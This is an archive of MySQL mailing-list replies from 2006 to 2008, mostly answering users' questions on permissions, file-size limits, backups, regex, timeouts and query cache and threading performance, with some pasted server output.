Re: MySQL 5.1.24-rc has been released (part 1 of 2)
On Wed, 16 Apr 2008 16:43:01 +0200 Kent Boortz [EMAIL PROTECTED] wrote: * Disk Data: Important Change: It is no longer possible on 32-bit systems to issue statements appearing to create Disk Data log files or data files greater than 4 GB in size. (Trying to create log files or data files larger than 4 GB on 32-bit systems led to unrecoverable data node failures; such statements now fail with NDB error 1515.) (Bug#29186: http://bugs.mysql.com/29186) According to the patches I would assume that this only affects people using the NDB cluster engine but from your notes I would think that even my old MyISAM tables are affected. I do have *.MYD files as big as 15GB on a 32bit system and guess that I'm not the only one. Could you clarify that on the next release notes? bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: Stored proc permissions question
On 2007-02-28 Gary W. Smith wrote: Basically, here is the stored proc. It works, but only for root. Is it possible to allow user to execute this without having SELECT access to the table users? If so, how? Do you know about the SQL SECURITY { DEFINER | INVOKER } options to CREATE PROCEDURE? With them it should be possible to * deny selects to users on the tables * allow selects to users to this procedure * having the procedure itself working with the rights of root/definer bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: Stored proc permissions question
On 2007-02-28 Gary W. Smith wrote: ... If I'm understanding the docs correct (which I'm probably not), I should create the procedure with [EMAIL PROTECTED] CREATE [EMAIL PROTECTED] PROCEDURE Better add SQL SECURITY DEFINER to it. .. The next question is what permissions do I need to give [EMAIL PROTECTED] to just access that one permission? I've seen the table mysql.procs_priv, it's probably defined there. bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: Key buffer partially unused - why
On 2007-02-20 Martijn van den Burg wrote: Hi, I have allocated 500MB to key_buffer_size, but only 324MB is in use (64%). Am I right to assume that this can mean one of the following: (1) all indexes have already been cached and together they are just 324 MB, Do find /var/lib/mysql -name *.MYI -ls (if you're using only MyISAM) to get a first hint on how much indices you actually have. (2) there is a limiting variable (open_files, inodb_open_files, for example) that prevents the key buffer to be more fully utilized. You can check at least open_files in SHOW STATUS IIRC. Key buffer usage is often hitting 100%, and just 0.01 tables are opened per second. Number of queries/second is 269. BTW, try mysqlreport to find other bottlenecks. bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: No Data on table
On 2007-02-19 Nhadie Ramos wrote: Hi Christian, Thanks for the reply. I got the table repaired and deleted some data on it. What combination can i use to overcome the 4GB limit? Read http://www.suse.de/~aj/linux_lfs.html and google a bit. Basically any recent Kernel 2.4 or 2.6 should do. In addition you need a recent libc, Debian woody/sarge should IIRC do here. Then you need a filessytem that supports large files. ext3 should do, early reiserfs don't... And finally you need a mysql binary that has been build on such a recent (read 2001:)) system. So I guess you're using a very very old system? bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: No Data on table
Hello On 2007-02-18 Nhadie wrote: I had an error that my database is already full, when i do a select there is always no result even select * from tablename. but when i look at it on /var/lib/mysql i can see the size of the file is still huge, -rw-rw 1 mysql mysql 9174 Feb 18 11:46 tablename.frm -rw-rw 1 mysql mysql 4294967092 Feb 18 11:49 tablename.MYD -rw-rw 1 mysql mysql 782402560 Feb 18 11:52 tablename.MYI which might mean that the data should still be in there somewhere, but how can i retrieve it? It seems that you are using a combination of MySQL + Kernel + Filesystem + Unix Distribution that is not capable of writing files larger than 4GB. That was a known limitations until some years ago. If you can, then copy those tables to a recent computer and execute a REPAIR TABLE on them. If they end up with 4GB then delete as much as necessary and they will be usable on your old computer again. HTH, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: Data back up for innodb tables - Copy paste
On 2007-02-19 abhishek jain wrote: I want to copy paste the data files of Innodb database, is it possible, i mean can i just copy the data files like that we do for myisam tables If you mean for a daily backup while the server is running: No! You often end up with corrupted tables doing that with MyISAM, too. Use mysqlhotcopy or mysqldump for that. If you stop the server, then copy the files and make sure that you have the same innodb_data_file_path statements at the target host, it maybe works. bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: Updating from 4.0.20 to 5.0.27
On 2007-02-06 Dan Nelson wrote: In the last episode (Feb 06), Tim Johnson said: I'm currently using OS linux slackware 10.0 with MySQL version 4.0.20 I currently use python and rebol APIs to MySQL, not PHP. I've downloaded mysql-standard-5.0.27-linux-i686.tar.gz Questions: Should I first upgrade to to an intermediate version? IF so, which? URLs to relevant documentation? thanks tim You can upgrade straight to 5.0. I've never experienced problems with that neither but if you want to follow the recommendation, first upgrade to 4.1: 2.4.16. Upgrading MySQL As a general rule, we recommend that when upgrading from one release series to another, you should go to the next series rather than skipping a series. For example, if you currently are running MySQL 3.23 and wish to upgrade to a newer series, upgrade to MySQL 4.0 rather than to 4.1 or 5.0. bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: rounding digits after decimal sign
On 2007-01-31 [EMAIL PROTECTED] wrote: Can anyone point me to a section of manual or link how to reduce digits Lookup the manual for round() but be sure that you understand it if you use round in financial applications as it might be unexpected for you: mysql SELECT 25E-1 = 2.5, round(25E-1, 0), round(2.5,0); +-+-+--+ | 25E-1 = 2.5 | round(25E-1, 0) | round(2.5,0) | +-+-+--+ | 1 | 2 |3 | +-+-+--+ 1 row in set (0.00 sec) Also could someone give a hint how to recode digits in order to anonymize data. Depending on what exactly you want, play around with random() and substring(). bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: InnoDB vs MyISAM
On 2007-01-04 Octavian Rasnita wrote: I have seen that by default some tables are created as InnoDB and some as MyISAM. I guess the table type is not chosen randomly. How is it chosen the table engine used? You can set a global and IIRC a database specific default for the database type. And is InnoDB recommended now? It depends.. :) Does it support full text indexes? Or if not, is there a way of using full text indexes and foreign keys in MySQL? No fulltext indexes in InnoDB and no foreign keys in MyISAM as of 5.0. bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: URGENT: Question on table storage
On 2006-12-19 Prem wrote: I am using this table to store all the websites accessed by each employees. I hope you're aware that your country might have data privacy laws, too.. There is no primary key on that table since the same employee will access more than 100 sites per day. If there is 100 employees then the rows inserted per day will be ~ 100*100= 1. If it grows till 2 months or 3 months then the table size will become larger. As we all know the default table size in MySQl is 4 GB. Default table size maybe but a MyISAM table can grow beyond 4GB without problems. (just try it by inserting lines with a script) The general advice for handling such big tables is to either build a map table that maps long hostnames to numbers (4 = www.google.com) to safe space or to use one table per day and use a Merge-Table to access them all in one SELECT. bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: mysqldump problem
On 2006-11-09 VenuGopal Papasani wrote: hi all, I have got a problem with mysql and i want to uninstall it and then re-install it but the problem is how to recover my data. This seldom solves problems. What problem do you have, maybe we can help without having you uninstall your server :) My mysqldump command is not working. hat does it do wrong? (hint: remember max_allowed_packet for big tables and use --opt). Can i have any other procedure to recover my data like copying the folder of my database from the data folder and then making a backup. If you are using MyISAM/ISAM/BDB it's safe to copy the tables *IF* the server is shutdown (else it could have data in memory that was not yet written to disk). But when i tried i m getting the following error as * databasename.tablename doesn't exist* Who gives you that error? /bin/cp? Or an SQL command? What does find /var/lib/mysql/ -ls and df -h say? bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: ORDER BY RAND() gives me duplicate rows sometimes
On 2006-11-09 Daevid Vincent wrote: I am using this query to pull three random comments from a table: SELECT *, DATE_FORMAT(created_on, '%b %D') as date_format FROM comments ORDER BY RAND() LIMIT 3; The problem is that sometimes, I get two of the same comment. How can I refine this query to give me 3 unique/distinct ones? Maybe SELECT DISTINCT rand() as rnd, *, DATE_FORMAT(created_on, '%b %D') as date_format FROM comments ORDER BY rnd LIMIT 3 ; bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: Regular expression not working as expected (documented)?
On 2006-11-08 Leandro Guimarães Faria Corcete DUTRA wrote: u.login REGEXP '^wa[bhkl][_[.period.]-acegmnopqrsuvwxyz]{1,5}[14Lt][23890IJOQ].*' ... But I get, among otherss, a string beginning with 'walt' (several, in fact). Probably MySQL don't know about this [.period.] thing and just takes the . in it as any char, e.g. your t from walt. Try '^wa[bhkl][-_acegmnopqrsuvwxyz]{1,5}[14Lt][23890IJOQ].*', if there is a - at the beginning of a character class it is usually threaten literally as it makes no sense as from..to separator in those cases. bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: Regular expression not working as expected (documented)?
On 2006-11-08 Leandro Guimarães Faria Corcete DUTRA wrote: u.login REGEXP '^wa[bhkl][_[.period.]-acegmnopqrsuvwxyz]{1,5}[14Lt][23890IJOQ].*... But I get, among otherss, a string beginning with 'walt' (several, in fact). Probably MySQL don't know about this [.period.] thing and just takes the . in it as any char, e.g. your t from walt. I got that from cname.h, mentioned in the MySQL regexp documentation. Try '^wa[bhkl][-_acegmnopqrsuvwxyz]{1,5}[14Lt][23890IJOQ].*', if there is a - at the beginning of a character class it is usually threaten literally as it makes no sense as from..to separator in those cases. Hm, but I do need to take into account the period. Right, the [.period.] really exists, so you can safly insert it. But only *after* this - character! Also, do you mean the - at the beginning will make all following characters be treated literally? Hm, no, the - inside [ and ] is a special character, i.e. [a-z] means all chars from a to z. So in your case that would have been all chars from . to a which makes not much sense. If you write [-az] on the other hand that means the dash char or a or z. So just move the - right after the [ and you're done. walt12 - false wal.12 - true wala12 - true bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: wait_timeout help
On 2006-11-07 Sayed Hadi Rastgou Haghi wrote: Dear All, I want to set wait_timeout variable on mysqld startup. Is there any way to do that? Put wait_timeout = XXX into the [mysqld] stanza of your /etc/mysql/my.cnf (or wherever your global config file is). bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: wait_timeout help
On 2006-11-07 Sayed Hadi Rastgou Haghi wrote: Thanks But this sets. GLOBAL wait_timeout variable. Cab be seen by SHOW GLOBAL VARIABLES not by SHOW VARIABLES; Ah, yes, MySQL is very confusing about this special variable: You have to use interactive_timeout = XXX to change what is called wait_timeout in SHOW VARIABLES. bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: Sorting MySQL queries
On 2006-11-06 Dotan Cohen wrote: I have a list of subjects, such as Linux, Open Source, and the World Wide Web. The subjects are stored in MySQL and being retrieved via php. I currently organize them alphabetically with MySQL's ORDER BY ASC argument, however, if there is a preceding the or a then that is considered as part of the alphabetical order. Thus, all the subjects starting with the are grouped together, as are the subjects starting with a . How can I order by ascending, without taking the preceding the or a into account? Make a second column that only contains ALTER TABLE table ADD cooked_subject; UPDATE table SET cooked_subject = ereg_replace('^(a|the) ', '', subject); (I don't know how the regular expression function was called exactly but you get the idea) SELECT subject FROM table ORDER BY cooked_subject; Of course you could also put the regular expression in the SELECT but that would be slower. bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: Sorting MySQL queries
On 2006-11-06 Dotan Cohen wrote: Make a second column that only contains ALTER TABLE table ADD cooked_subject; UPDATE table SET cooked_subject = ereg_replace('^(a|the) ', '', subject); (I don't know how the regular expression function was called exactly but you get the idea) SELECT subject FROM table ORDER BY cooked_subject; Of course you could also put the regular expression in the SELECT but that would be slower. Would it really slow it down that much? slow always depends.. if the table has only 200 rows and the query is run twice a day, don't care about speed :) -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: Default Column Value
Hi On 2006-11-05 Bill Guion wrote: In one of my tables I have a start_date - timestamp (2007-07-04). A separate column, start_yr_mo, has 200704 (first seven characters of timestamp without the '-'). Both are entered manually. Can I define start_yr_mo as a default of, for example, set start_yr_mo = concat(substr(start_date, 1, 4),substr(start_date,6,2)). Something like You can use a VIEW for this: CREATE VIEW view_table (start_date, start_yr_mo) AS SELECT start, concat(substr(start_date, 1, 4),substr(start_date,6,2)) FROM orig_table ; mysql SELECT * FROM view_table; +-+-+ | start_date | start_yr_mo | +-+-+ | 2007-07-04 | 200707 | +-+-+ 1 row in set (0.00 sec) Alternatively one could use a TRIGGER that updates the start_yr_mo whenever start_date is modified but I'm unsure if triggers are present before 5.1. Of course the best way could be to drop the start_yr_mo completely and let the application render it. Storing redundant data in a database is seldom a good idea and using SQL for formatting neither. bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: source compilatio or install precompiled packages
On 2006-10-24 Jose Manuel Peso wrote: Why is recommended the precompiled package install way (as i read in the downloads page)? Because a different compiler version or different installed libraries can result in a slightly different binary. If you happen to experience a bug later it's easier to track down if you use exactly the same binaries than the mysql team. And it safes you time, of course :) Most people take the binary packages that their distribution offers which is a good compromise. bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: mysql within firewall
Hello Peter On 2006-10-05 Peter Gershkovich wrote: Problem: When we run a large query (returns 4000 records) on a firewalled XServe (OS X 10.4) against Mysql database (outside firewall) on an AIX (Version 5.2) machine the database server intermittently generates the following errors: ERROR 2006 (HY000): MySQL server has gone away If the result is large, check if max_allowed_packet is set to at least 16MB or so in both, the client and the serve (see docs how to configure variables best). Also, a gone away server normally means a crash of mysqld for which some debugging output is written on stderr by mysqld. In Debian Linux this is sent to syslog, check where your output has gone to. Third, try experimenting if the same problem occurs if you use LIMIT 10 or if the query takes a very long time *before* the output is sent to the client. That helps identifying which limit or timeout you've hit. A firewall normally only lead to trouble if either the query takes say 5min before the first result row comes and the firewall things that the connection is timed out or if you have an enormous number of simultaneous connections and some connection tracking table runs full. bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: Mysqlimport complex question
On 2006-10-04 Scott Hamm wrote: OBJECTIVE: INPUT: E524541015.txt:20061004|,535,999|Scot|Hamm|,410|||101 Walter Rd|Dover|MD|76709|,041| ... Been trying to get mysqlimport to use these characters to no avail, how do I get around to it? I can't answer your question but think that you're following the wrong approach instead of the simple rule: Use SQL for storing and calculating and a script language for parsing and formatting. It's quite easy with regular expressions (they can be made more readable with /x): cat input.txt | perl -n -e '/^(.{14}):(.{8})\|,(\d+),(\d+)\|[^\|]+\|[^\|]+\|,(\d+)\|.*\|,(\d+)\|$/ print INSERT INTO t VALUES (\$1\,$2,$3,$4,$5,$6);\n;' The output is ready to be piped into mysql: INSERT INTO t VALUES (E524541015.txt,20061004,535,999,410,041); bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: Glitch in Query Optimizer
On Tue, Oct 03, 2006 at 01:35:01PM -0700, Robert DiFalco wrote: Scratch that, the only way to have the optimizer choose the correct index is to remove all compound indices that start with NodeID or move NodeID so that it is not the first column specified in the compound index. Ugh. Any ideas? Search the docs for FORCE INDEX () and IGNORE INDEX () if you don't want to rely on MySQL's cleverness. bye, -christian- -- Christian Hammers WESTEND GmbH | Internet-Business-Provider Technik CISCO Systems Partner - Authorized Reseller Lütticher Straße 10 Tel 0241/701333-11 [EMAIL PROTECTED]D-52064 Aachen Fax 0241/911879 -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Understanding Query-Cache math...
Hello I don't understand why query_cache_size / query_cache_min_res_unit != Qcache_total_blocks and Qcache_free_memory / query_cache_min_res_unit != Qcache_free_blocks Can anybody enlight me so that I know if I have to increase the Query-Cache or not? mysql SHOW status LIKE Qcache_%; +-+---+ | Variable_name | Value | +-+---+ | Qcache_free_blocks | 10382 | | Qcache_free_memory | 247491776 | | Qcache_hits | 119254865 | | Qcache_inserts | 5412923 | | Qcache_lowmem_prunes| 0 | | Qcache_not_cached | 58724815 | | Qcache_queries_in_cache | 16002 | | Qcache_total_blocks | 42464 | +-+---+ mysql SHOW variables LIKE query_cache_%; +--++ | Variable_name| Value | +--++ | query_cache_limit| 8388608| | query_cache_min_res_unit | 4096 | | query_cache_size | 268435456 | | query_cache_type | ON | | query_cache_wlock_invalidate | OFF| +--++ thanks, -christian- -- Christian Hammers WESTEND GmbH | Internet-Business-Provider Technik CISCO Systems Partner - Authorized Reseller Lütticher Straße 10 Tel 0241/701333-11 [EMAIL PROTECTED]D-52064 Aachen Fax 0241/911879 -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: How to make this work ?
On Fri, Sep 01, 2006 at 03:17:14PM +0530, [EMAIL PROTECTED] wrote: How to make this work CREATE TABLE DB2.tblname LIKE DB1.tblname; It does work perfectly with 5.0. Mabe cross-database queries didn't work with earlier versions? Which version do you use? Can we have simultaneous connections with 2 DBs? Using /usr/bin/mysql? Even with one connection you can access as much databases as you like. Even a join of tables from different databases work. bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
How to utilize 16 logical CPUs
Hello I have a server with the following specs but fear that the currently running MySQL-4.1 does not completely utilize it as the database feels to slow for the webservers although the system load is always only at about 10%: CPU: Quad Dualcore Xeon with Hyperthreading (4*2*2=16 logical cpus) Kernel: 2.6.17.6 (- NPTL threading) RAM: 16 GB OS: Debian GNU/Linux 3.1 sarge with i386 architecture Can it be that MySQL-4.1 does not share the load across all CPUs? Has MySQL-5.0 any improvements for this hardware? (I know that poor performance can result from inefficient queries and wrong configuration settings, too, but as this would get quite complex then I first want to rule out this cause) thanks, -christian- -- Christian Hammers WESTEND GmbH | Internet-Business-Provider Technik CISCO Systems Partner - Authorized Reseller Lütticher Straße 10 Tel 0241/701333-11 [EMAIL PROTECTED]D-52064 Aachen Fax 0241/911879 -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: How to utilize 16 logical CPUs
| | sync_replication_slave_id | 0 | | sync_replication_timeout| 0 | | system_time_zone| CEST | | table_cache | 1500 | | table_type | MyISAM | | thread_cache_size | 30 | | thread_stack| 131072 | | time_format | %H:%i:%s | | time_zone | SYSTEM | | tmp_table_size | 33554432 | | tmpdir | /tmp | | transaction_alloc_block_size| 8192 | | transaction_prealloc_size | 4096 | | tx_isolation| REPEATABLE-READ | | version | 4.1.20-Debian_0westend1-log | | version_bdb | Sleepycat Software: Berkeley DB 4.1.24: (May 24, 2006) | | version_comment | Source distribution | | version_compile_machine | i386 | | version_compile_os | pc-linux-gnu | | wait_timeout| 28800 | +-++ 199 rows in set (0.00 sec) -- Christian Hammers WESTEND GmbH | Internet-Business-Provider Technik CISCO Systems Partner - Authorized Reseller Lütticher Straße 10 Tel 0241/701333-11 [EMAIL PROTECTED]D-52064 Aachen Fax 0241/911879 -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: How to utilize 16 logical CPUs
On Tue, Aug 22, 2006 at 10:04:06AM -0500, Dan Buettner wrote: You have a high number of connections, by my calculations about 15 per second. (connection / uptime, or 46944092/3052131 = 15.38) I would think that is introducing a fair bit of overhead for you - you might consider persistent connections as a possible improvement. I'll ask the developers for this but AFAIK there's one connection for every access to the index.php and some other pages on one of three web servers. Other than that, are your using InnoDB or MyISAM tables, or a mix? It's only MyISAM at the moment. Your key_buffer_size is just 512 MB, and your innodb_buffer_pool is just 400 MB. Is increasing key_buffer to 768MB sufficient? I'd suggest reading the optimization portions of the online manual, and/or Jeremy Zawodny's High Performance MySQL, and start adjusting these cache settings. Seems like you're likely just not using all your RAM. If you have a large dataset, then you may well be disk-bound right now, which explains your low CPU utilization. There is very few to no I/O according to vmstat 1. The datadir is only 4GB in total so that I even guess that almost all tables will fit into the process memory. bye, -christian- -- Christian Hammers WESTEND GmbH | Internet-Business-Provider Technik CISCO Systems Partner - Authorized Reseller Lütticher Straße 10 Tel 0241/701333-11 [EMAIL PROTECTED]D-52064 Aachen Fax 0241/911879 -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: How to utilize 16 logical CPUs
On Tue, Aug 22, 2006 at 10:20:47AM -0600, Michael Loftis wrote: One other quick ? -- Are you using a 64 bit (x86_64/EMT64) or 32-bit? If you're still in 32-bit mode the extra memory over 4Gb can actually slow the system down since it has to page between memory zones. It was choosen to run on i386 i.e. 32-bit mode for compatibility to Java and other servers in the farm. But as you can see not even the 3GB border is touched: PID USER PR NI VIRT RES SHR S %CPU %MEMTIME+ COMMAND 5076 mysql 15 0 1434m 496m 4992 S 99.9 6.1 54931:46 mysqld But despite the 99% CPU, vmstat thinks the system is idle. procs ---memory-- ---swap-- -io --system-- cpu r b swpd free buff cache si sobibo incs us sy id wa 1 0 0 2959212 139684 383155600 1 01 1 6 3 88 3 0 0 0 2959584 139684 383051600 0 0 4785 0 7 4 89 0 1 0 0 2959212 139692 383154800 0 100 3453 0 7 4 89 0 6 0 0 2957104 139700 383076000 8 0 3696 0 7 5 87 0 2 0 0 2958592 139700 38310200032 0 4230 0 7 5 88 0 1 0 0 2958220 139712 383074800 0 596 3904 0 8 5 87 0 bye, -christian- -- Christian Hammers WESTEND GmbH | Internet-Business-Provider Technik CISCO Systems Partner - Authorized Reseller Lütticher Straße 10 Tel 0241/701333-11 [EMAIL PROTECTED]D-52064 Aachen Fax 0241/911879 -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: Lots of threads in opening tables and closing tables state
Hallo On Thu, Jun 22, 2006 at 01:54:07PM -0500, Dan Buettner wrote: Christian, I hope raising the open_files_limit helps (I think it should). I second Brent's suggestion to enable the thread_cache. Please do report back and let us know how you fare. The effect that lots of tables are in opening tables and closing tables state seems to be solved after increasing the table_cache and open_files_limit values. We still have a problem where the server sometimes seems to hang on seemingly usual queries but we try an upgrade first as there is no obvious anomaly visible here. bye, -christian- -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Lots of threads in opening tables and closing tables state
Hello We have the problem that on one of our database server (Quad-Dualcore-Hyperthreading Xeon system with 8GB RAM) the database performance suddenly goes down and stays so for a while. There is no significant memory or CPU activity but the Load goes up to 200 which indicates to me that there must be many mysql threads (hidden in the process list) which are calculated in the Load value but are effectively doing nothing as CPU/RAM stays. The mysqladmin processlist output looks suspicious, *lots* of queries in the opening+closing tables state which should, according to the docs, be happen in fractions of a second. There is no visible disc activety during that time so definetly no I/O bottleneck (8GB RAM is enough to hold all data). The system is running Debian stable, further infos below. Thanks in advance for any ideas! bye, -christian- db:~# mysqladmin status version Uptime: 898475 Threads: 16 Questions: 684283929 Slow queries: 7335 Opens: 120224674 Flush tables: 11 Open tables: 64 Queries per second avg: 761.606 mysqladmin Ver 8.41 Distrib 4.1.11, for pc-linux-gnu on i386 Copyright (C) 2000 MySQL AB MySQL Finland AB TCX DataKonsult AB This software comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to modify and redistribute it under the GPL license Server version 4.1.11-Debian_4sarge4-log Protocol version10 Connection Localhost via UNIX socket UNIX socket /var/run/mysqld/mysqld.sock Uptime: 10 days 9 hours 34 min 35 sec | 93702 | X | localhost:41097 | X | Query | 0| Opening tables | select mt_votinga0_.id as id1 60_, mt_votinga0_.votingId as votingId160_, mt_votinga0_.answer as answ | | 93704 | X | localhost:40998 | X | Query | 3| Opening tables | SELECT SUM(e.count) AS votes FROM MT_Vote AS e WHERE e.answerId = 29 GROUP by e.answerId | | 115252 | X | localhost:33701 | X | Query | 0| Opening tables | select mt_voting0_.id as col_ 0_0_ from MT_Voting mt_voting0_ where mt_voting0_.id=36 and mt_voting0_ | | 306188 | X | localhost:39702 | X | Query | 0| Opening tables | select mt_voting0_.id as col_ 0_0_ from MT_Voting mt_voting0_ where mt_voting0_.id=36 and mt_voting0_ | | 306194 | X | localhost:43074 | X | Query | 0| Opening tables | ... | 3216567 | X | web1.intern:40079 | X | Query | 1| Opening tables | SELECT data.id, data.xms_created created, data.xms_modified modified, data.xms_l | | 3216644 | X | web1.intern:40148 | X | Query | 1| Opening tables | SELECT data.id, data.xms_created created, data.xms_modified modified, data.xms_l | | 3216677 | X | web3.intern:45182 | X | Query | 1| Opening tables | SELECT data.id, data.xms_created created, data.xms_modified modified, data.xms_l | | 3216694 | X | web3.intern:45191 | X | Query | 3| closing tables | SELECT data.id, data.xms_created created, data.xms_modified modified, data.xms_l | | 3216819 | X | web3.intern:45257 | X | Query | 4| closing tables | SELECT data.id, data.xms_created created, data.xms_modified modified, data.xms_l | | 3216830 | X | web3.intern:45263 | X | Query | 3| closing tables | SELECT data.id, data.xms_created created, data.xms_modified modified, data.xms_l | -- Christian Hammers WESTEND GmbH | Internet-Business-Provider Technik CISCO Systems Partner - Authorized Reseller Lütticher Straße 10 Tel 0241/701333-11 [EMAIL PROTECTED]D-52064 Aachen Fax 0241/911879 -- MySQL General Mailing List For list archives: http://lists.mysql.com/mysql To unsubscribe:http://lists.mysql.com/[EMAIL PROTECTED]
Re: Lots of threads in opening tables and closing tables state
| | sync_replication| 0 | | sync_replication_slave_id | 0 | | sync_replication_timeout| 0 | | sync_frm| ON | | system_time_zone| CEST | | table_cache | 64 | | table_type | MyISAM | | thread_cache_size | 0 | | thread_stack| 131072 | | time_format | %H:%i:%s | | time_zone | SYSTEM | | tmp_table_size | 33554432 | | tmpdir | /tmp | | transaction_alloc_block_size| 8192 | | transaction_prealloc_size | 4096 | | tx_isolation| REPEATABLE-READ | | version | 4.1.11-Debian_4sarge4-log | | version_bdb | Sleepycat Software: Berkeley DB 4.1.24: (April 1, 2005) | | version_comment | Source distribution | | version_compile_machine | i386 | | version_compile_os | pc-linux-gnu | | wait_timeout| 28800 | +-+--+ 196 rows in set (0.00 sec) Christian Hammers wrote: Hello We have the problem that on one of our database server (Quad-Dualcore-Hyperthreading Xeon system with 8GB RAM) the database performance suddenly goes down and stays so for a while. There is no significant memory or CPU activity but the Load goes up to 200 which indicates to me that there must be many mysql threads (hidden in the process list) which are calculated in the Load value but are effectively doing nothing as CPU/RAM stays. The mysqladmin processlist output looks suspicious, *lots* of queries in the opening+closing tables state which should, according to the docs, be happen in fractions of a second. There is no visible disc activety during that time so definetly no I/O bottleneck (8GB RAM is enough to hold all data). The system is running Debian stable, further infos below. Thanks in advance for any ideas! bye, -christian- db:~# mysqladmin status version Uptime: 898475 Threads: 16 Questions: 684283929 Slow queries: 7335 Opens: 120224674 Flush tables: 11 Open tables: 64 Queries per second avg: 761.606 mysqladmin Ver 8.41 Distrib 4.1.11, for pc-linux-gnu on i386 Copyright (C) 2000 MySQL AB MySQL Finland AB TCX DataKonsult AB This software comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to modify and redistribute it under the GPL license Server version 4.1.11-Debian_4sarge4-log Protocol version10 Connection Localhost via UNIX socket UNIX socket /var/run/mysqld/mysqld.sock Uptime: 10 days 9 hours 34 min 35 sec | 93702 | X | localhost:41097 | X | Query | 0 | Opening tables | select mt_votinga0_.id as id1 60_, mt_votinga0_.votingId as votingId160_, mt_votinga0_.answer as answ | | 93704 | X | localhost:40998 | X | Query | 3 | Opening tables | SELECT SUM(e.count) AS votes FROM MT_Vote AS e WHERE e.answerId = 29 GROUP by e.answerId | | 115252 | X | localhost:33701 | X | Query | 0 | Opening tables | select mt_voting0_.id as col_ 0_0_ from MT_Voting mt_voting0_ where mt_voting0_.id=36 and mt_voting0_ | | 306188 | X | localhost:39702 | X | Query | 0 | Opening tables | select mt_voting0_.id as col_ 0_0_ from MT_Voting mt_voting0_ where mt_voting0_.id=36 and mt_voting0_ | | 306194 | X | localhost:43074 | X | Query | 0 | Opening tables | ... | 3216567 | X | web1.intern:40079 | X | Query | 1| Opening tables | SELECT data.id, data.xms_created created, data.xms_modified modified
Re: Problems upgrading from 4.0 to 4.1
